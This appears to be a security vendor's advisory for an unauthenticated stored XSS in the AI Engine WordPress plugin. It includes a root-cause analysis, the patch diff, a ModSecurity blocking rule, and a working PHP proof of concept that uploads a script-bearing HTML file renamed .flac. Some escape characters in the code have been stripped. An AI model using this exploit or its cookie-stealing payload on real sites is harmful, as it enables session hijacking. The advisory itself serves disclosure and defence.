Opens in a new tab
Published : November 16, 2026

CVE-2026-123478: AI Engine – MCP Server & AI Chatbot for WordPress, with Claude, ChatGPT & Gemini <= 3.9.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin ai-engine
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.9.1
Patched Version 3.9.2
Disclosed November 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-123478: The AI Engine plugin for WordPress (versions up to and including 3.9.1) contains an unauthenticated stored cross-site scripting vulnerability in its file upload handling. The flaw resides in the `check_file_content` logic used by the `upload_file` method within `classes/modules/files.php`. Attackers can bypass client-side and weak server-side MIME checks by uploading a malicious HTML file with a `.flac` extension. The CVSS score is 7.2, reflecting high confidentiality and integrity impact.

Root Cause: The vulnerability stems from insufficient validation of uploaded file content. Prior to the patch, the `upload_file` method in `classes/modules/files.php` relied on `wp_check_filetype_and_ext()` and a fallback that trusted the file extension for audio types. If WordPress did not recognize the file type, the code simply checked if the extension was in a list of audio extensions and set the MIME type to `audio/{ext}`. This allowed an attacker to upload a file containing malicious JavaScript with a `.flac` extension. The file was stored in the public uploads directory and served without proper `Content-Type` headers by some web servers, causing browsers to execute the script. The patch introduces a new `check_file_content` method that performs a real MIME check using `finfo_file` for audio extensions and validates the file content against its extension via `wp_check_filetype_and_ext`.

Exploitation: An unauthenticated attacker sends a POST request to the WordPress REST API endpoint `/wp-json/mwai/v1/files` (or another endpoint using the `upload_file` functionality) with a multipart form containing a file. The attacker sets the filename to `payload.flac` and the content to an HTML/JavaScript payload, such as `alert(document.cookie)`. The `purpose` parameter must be set to a value like `user_data` or `fine-tune` to reach the vulnerable code path. The server saves the file to `wp-content/uploads/` without proper validation, and the attacker can then trick a victim into visiting the file URL, executing the script in the context of the victim’s browser.

Patch Analysis: The patch modifies `classes/modules/files.php` by adding the `check_file_content` method, which uses `wp_check_filetype_and_ext` to verify the true type of the file. If the type is not recognized, it performs a `finfo` check for audio/video MIME types. The `upload_file` method now calls this check on the stored copy of the file and deletes it if validation fails. The REST API handler also calls this check on the temporary file. This ensures that files with mismatched content and extension are rejected, preventing stored XSS.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user visiting the malicious file, leading to session hijacking, credential theft, or defacement. The unauthenticated nature of the vulnerability makes it particularly dangerous, as no account is required to inject the payload.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ai-engine/ai-engine.php
+++ b/ai-engine/ai-engine.php
@@ -4,7 +4,7 @@
 Plugin Name: AI Engine
 Plugin URI: https://wordpress.org/plugins/ai-engine/
 Description: AI meets WordPress. Your site can now chat, write poetry, solve problems, and maybe make you coffee.
-Version: 3.9.1
+Version: 3.9.2
 Requires at least: 6.0
 Requires PHP: 8.1
 Author: Jordy Meow
@@ -24,7 +24,7 @@
   return;
 }

-define( 'MWAI_VERSION', '3.9.1' );
+define( 'MWAI_VERSION', '3.9.2' );
 define( 'MWAI_PREFIX', 'mwai' );
 define( 'MWAI_DOMAIN', 'ai-engine' );
 define( 'MWAI_ENTRY', __FILE__ );
--- a/ai-engine/classes/admin.php
+++ b/ai-engine/classes/admin.php
@@ -465,6 +465,10 @@
       'api_url' => get_rest_url( null, 'mwai/v1' ),
       'rest_url' => get_rest_url(),
       'home_url' => home_url(),
+      // Cloudflare adds CF-Ray to every request it proxies. Its bot challenge is the most common
+      // reason Claude or ChatGPT cannot connect, and the Connection Test, run from the site itself,
+      // often bypasses Cloudflare, so the MCP tab shows a hint whenever the site is behind it.
+      'behind_cloudflare' => !empty( $_SERVER['HTTP_CF_RAY'] ),
       'plugin_url' => MWAI_URL,
       'user_data' => $this->core->get_user_data(),
       'prefix' => MWAI_PREFIX,
--- a/ai-engine/classes/engines/openai.php
+++ b/ai-engine/classes/engines/openai.php
@@ -823,7 +823,64 @@
       $endpoint = 'https://' . $endpoint;
     }

-    return $endpoint;
+    // Users often paste a full API address (from Azure's portal or a curl example) instead of the
+    // resource URL; every path below is built from the resource URL, so keep only that part.
+    $endpoint = preg_replace( '/?.*$/', '', $endpoint );
+    $endpoint = preg_replace( '#/openai/deployments/[^/]+/(chat/completions|embeddings|images/(generations|edits))$#', '', $endpoint );
+    $endpoint = preg_replace( '#/openai(/v1)?(/(responses|files))?$#', '', $endpoint );
+    $endpoint = preg_replace( '#/chat/completions$#', '', $endpoint );
+
+    return rtrim( $endpoint, '/' );
+  }
+
+  /**
+  * Azure has its own Files API address and key header. The shared upload_file() always posted to
+  * api.openai.com, so every document a chatbot sent on an Azure environment failed to upload
+  * (reported with a patch by Sumitomo Chemical, HS 3506730280). Azure also refuses the user_data
+  * purpose: files given to a model there use "assistants".
+  */
+  public function upload_file( $filename, $data, $purpose = 'fine-tune' ) {
+    if ( $this->envType !== 'azure' ) {
+      return parent::upload_file( $filename, $data, $purpose );
+    }
+    if ( $purpose === 'user_data' ) {
+      $purpose = 'assistants';
+    }
+    $boundary = wp_generate_password( 24, false );
+    $body = "--$boundaryrn";
+    $body .= "Content-Disposition: form-data; name="purpose"rnrn";
+    $body .= $purpose . "rn";
+    $body .= "--$boundaryrn";
+    $body .= "Content-Disposition: form-data; name="file"; filename="{$filename}"rn";
+    $body .= "Content-Type: application/octet-streamrnrn";
+    $body .= $data . "rn";
+    $body .= "--$boundary--rn";
+
+    // Same as the parent: streaming hooks on http_api_curl break a multipart upload.
+    global $wp_filter;
+    $saved_hooks = $wp_filter['http_api_curl'] ?? null;
+    unset( $wp_filter['http_api_curl'] );
+    $response = wp_remote_post( $this->build_azure_v1_url( $this->get_azure_endpoint(), '/files' ), [
+      'headers' => [
+        'api-key' => $this->apiKey,
+        'Content-Type' => 'multipart/form-data; boundary=' . $boundary,
+      ],
+      'body' => $body,
+      'timeout' => 60,
+      'sslverify' => MWAI_SSL_VERIFY,
+    ] );
+    if ( $saved_hooks !== null ) {
+      $wp_filter['http_api_curl'] = $saved_hooks;
+    }
+    if ( is_wp_error( $response ) ) {
+      throw new Exception( 'File upload failed: ' . $response->get_error_message() );
+    }
+    $decoded = json_decode( wp_remote_retrieve_body( $response ), true );
+    if ( wp_remote_retrieve_response_code( $response ) >= 400 ) {
+      $message = $decoded['error']['message'] ?? wp_remote_retrieve_body( $response );
+      throw new Exception( 'Azure file upload failed: ' . $message );
+    }
+    return $decoded;
   }

   /**
@@ -2887,6 +2944,12 @@
         continue;
       }

+      // Azure's Responses API reads only PDFs from uploaded files; Word, Excel and other
+      // documents need Code Interpreter there. Say so instead of failing later with a 400.
+      if ( $this->envType === 'azure' && $mimeType !== 'application/pdf' && $file->get_type() !== 'provider_file_id' ) {
+        throw new Exception( sprintf( 'The file %s cannot be sent to Azure OpenAI: Azure only accepts PDF documents here (and images).', $file->get_filename() ) );
+      }
+
       if ( $file->get_type() !== 'provider_file_id' ) {
         // File hasn't been uploaded to OpenAI yet - upload it now
         try {
--- a/ai-engine/classes/modules/files.php
+++ b/ai-engine/classes/modules/files.php
@@ -378,6 +378,36 @@
     return $refId;
   }

+  /**
+  * The type a file's CONTENT supports, as [ 'ext' => ..., 'type' => ... ], or null when it does not
+  * match its name. Checking the name alone let HTML named x.flac be stored in the public uploads
+  * folder, where servers that don't map .flac serve it untyped and browsers run it (stored XSS,
+  * Patchstack 38706). WordPress already compares the content with the extension; it only rejects
+  * real audio whose detected type is a variant it doesn't list (audio/x-m4a for .m4a...), so those
+  * pass when finfo sees audio or video.
+  */
+  public function check_file_content( $path, $filename ) {
+    require_once( ABSPATH . 'wp-admin/includes/file.php' );
+    $check = wp_check_filetype_and_ext( $path, $filename );
+    if ( !empty( $check['type'] ) ) {
+      return [ 'ext' => $check['ext'], 'type' => $check['type'] ];
+    }
+    $ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
+    if ( !in_array( $ext, [ 'flac', 'm4a', 'mp3', 'mp4', 'mpeg', 'mpga', 'oga', 'ogg', 'wav', 'webm' ], true ) ) {
+      return null;
+    }
+    $realMime = '';
+    if ( function_exists( 'finfo_open' ) ) {
+      $finfo = finfo_open( FILEINFO_MIME_TYPE );
+      $realMime = $finfo ? (string) finfo_file( $finfo, $path ) : '';
+      if ( $finfo ) {
+        finfo_close( $finfo );
+      }
+    }
+    $isMedia = strpos( $realMime, 'audio/' ) === 0 || strpos( $realMime, 'video/' ) === 0 || $realMime === 'application/ogg';
+    return $isMedia ? [ 'ext' => $ext, 'type' => 'audio/' . $ext ] : null;
+  }
+
   public function upload_file(
     $path,
     $filename = null,
@@ -436,6 +466,12 @@
       if ( !copy( $path, $destination ) ) {
         throw new Exception( 'Could not move the file.' );
       }
+      // Checked on the stored copy, so every caller is covered (chat and form uploads, the Public
+      // API, generated images that arrive as a URL). The library target is checked by WordPress.
+      if ( !$this->check_file_content( $destination, $filename ) ) {
+        wp_delete_file( $destination );
+        throw new Exception( 'File type is not allowed.' );
+      }
       $url = wp_upload_dir()['url'] . '/' . $unique_filename;

       $now = date( 'Y-m-d H:i:s' );
@@ -872,31 +908,15 @@
       ];
       return new WP_REST_Response( [ 'success' => false, 'message' => $reasons[ $upload_error ] ?? 'The upload failed.' ], 400 );
     }
-    $purpose = empty( $_POST['purpose'] ) ? null : $_POST['purpose'];
+    $purpose = empty( $_POST['purpose'] ) ? null : sanitize_text_field( wp_unslash( $_POST['purpose'] ) );
     $metadata = empty( $_POST['metadata'] ) ? null : json_decode( $_POST['metadata'], true );
-    $envId = empty( $_POST['envId'] ) ? null : $_POST['envId'];
+    $envId = empty( $_POST['envId'] ) ? null : sanitize_text_field( wp_unslash( $_POST['envId'] ) );
     if ( !$purpose ) {
       return new WP_REST_Response( [ 'success' => false, 'message' => 'Purpose is required.' ], 400 );
     }
-    // Validate file type - allow audio files for transcription purpose
-    $fileTypeCheck = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'] );
-
-    // If WordPress doesn't recognize the type, check if it's an audio file for transcription
-    if ( !$fileTypeCheck['type'] ) {
-      // Get file extension
-      $ext = strtolower( pathinfo( $file['name'], PATHINFO_EXTENSION ) );
-
-      // Whisper supported formats: flac, m4a, mp3, mp4, mpeg, mpga, oga, ogg, wav, webm
-      $audioExtensions = [ 'flac', 'm4a', 'mp3', 'mp4', 'mpeg', 'mpga', 'oga', 'ogg', 'wav', 'webm' ];
-
-      if ( in_array( $ext, $audioExtensions ) ) {
-        // This is a valid audio file for transcription - override the type check
-        $fileTypeCheck['type'] = 'audio/' . $ext;
-        $fileTypeCheck['ext'] = $ext;
-      }
-      else {
-        return new WP_REST_Response( [ 'success' => false, 'message' => 'Invalid file type.' ], 400 );
-      }
+    // The same content check upload_file() runs, early, so a refused file costs nothing.
+    if ( !$this->check_file_content( $file['tmp_name'], $file['name'] ) ) {
+      return new WP_REST_Response( [ 'success' => false, 'message' => 'Invalid file type.' ], 400 );
     }

     // Guests can upload wherever a chatbot or form is shown, so cap them per visitor per hour,
--- a/ai-engine/labs/mcp-oauth.php
+++ b/ai-engine/labs/mcp-oauth.php
@@ -100,6 +100,14 @@
       }
       $this->emit_json( $this->authorization_server_metadata() );
     }
+    // Only the form carrying our own issuer path: a bare /.well-known/openid-configuration may
+    // belong to an SSO or OpenID provider plugin on the site, and answering it would break it.
+    if ( strpos( $path, '/.well-known/openid-configuration/' ) === 0 && strpos( $path, '/' . $this->namespace ) !== false ) {
+      if ( $this->logging ) {
+        error_log( '[AI Engine MCP OAuth] Host-root OIDC hit: ' . $path );
+      }
+      $this->emit_json( $this->openid_configuration() );
+    }
   }

   /**
@@ -267,6 +275,22 @@
       'permission_callback' => '__return_true',
     ] );

+    // OpenID Connect Discovery, appended to the issuer path. Claude tries the host-root
+    // /.well-known/ forms first, then this one. Managed hosts like SiteGround serve their own
+    // 404 for anything under the host-root /.well-known/ and never reach WordPress, so without
+    // this route Claude found no metadata and failed with "Couldn't register with ... sign-in
+    // service" (HS 3506632298, 2026-11-06). The nested path does reach WordPress there.
+    register_rest_route( $this->namespace, '/.well-known/openid-configuration', [
+      'methods' => 'GET',
+      'callback' => [ $this, 'handle_openid_configuration' ],
+      'permission_callback' => '__return_true',
+    ] );
+    register_rest_route( $this->namespace, '/oauth/jwks', [
+      'methods' => 'GET',
+      'callback' => [ $this, 'handle_jwks' ],
+      'permission_callback' => '__return_true',
+    ] );
+
     // RFC 7591 — Dynamic Client Registration
     register_rest_route( $this->namespace, '/oauth/register', [
       'methods' => 'POST',
@@ -332,6 +356,25 @@
   public function handle_as_metadata() {
     return new WP_REST_Response( $this->authorization_server_metadata(), 200 );
   }
+
+  public function handle_openid_configuration() {
+    return new WP_REST_Response( $this->openid_configuration(), 200 );
+  }
+
+  // No ID tokens are issued (the mcp scope is plain OAuth), so there are no keys to publish.
+  public function handle_jwks() {
+    return new WP_REST_Response( [ 'keys' => [] ], 200 );
+  }
+
+  // The OAuth metadata plus the fields OIDC discovery documents must carry, so clients that
+  // validate this URL strictly against the OpenID schema still accept it.
+  private function openid_configuration() {
+    return array_merge( $this->authorization_server_metadata(), [
+      'jwks_uri' => rest_url( $this->namespace . '/oauth/jwks' ),
+      'subject_types_supported' => [ 'public' ],
+      'id_token_signing_alg_values_supported' => [ 'RS256' ],
+    ] );
+  }
   #endregion

   #region Dynamic Client Registration (RFC 7591)

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-123478
SecRule REQUEST_URI "@beginsWith /wp-json/mwai/v1/files" 
  "id:2026123478,phase:2,deny,status:403,chain,msg:'CVE-2026-123478 via AI Engine file upload',severity:'CRITICAL',tag:'CVE-2026-123478'"
  SecRule FILES_NAMES "@rx .(flac|m4a|mp3|mp4|mpeg|mpga|oga|ogg|wav|webm)$" "chain"
    SecRule FILES "@detectXSS" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-123478 - AI Engine <= 3.9.1 Unauthenticated Stored XSS

$target_url = 'http://localhost'; // Change to target WordPress URL

// Malicious payload: HTML with JavaScript
$payload = '<html><body><script>alert("XSS via CVE-2026-123478");</script></body></html>';

// File details: use .flac extension to bypass extension-based checks
$filename = 'exploit.flac';
$boundary = '------------------------' . md5(rand());

// Build multipart/form-data body
$body = "--$boundaryrn";
$body .= "Content-Disposition: form-data; name="purpose"rnrn";
$body .= "user_datarn";
$body .= "--$boundaryrn";
$body .= "Content-Disposition: form-data; name="file"; filename="$filename"rn";
$body .= "Content-Type: audio/flacrnrn";
$body .= $payload . "rn";
$body .= "--$boundary--rn";

// Send request to REST API endpoint
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/mwai/v1/files');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: multipart/form-data; boundary=' . $boundary,
    'Content-Length: ' . strlen($body)
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// If successful, the file is now stored and accessible at:
// http://target/wp-content/uploads/YYYY/MM/exploit.flac
// Visiting this URL will execute the JavaScript in the victim's browser.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.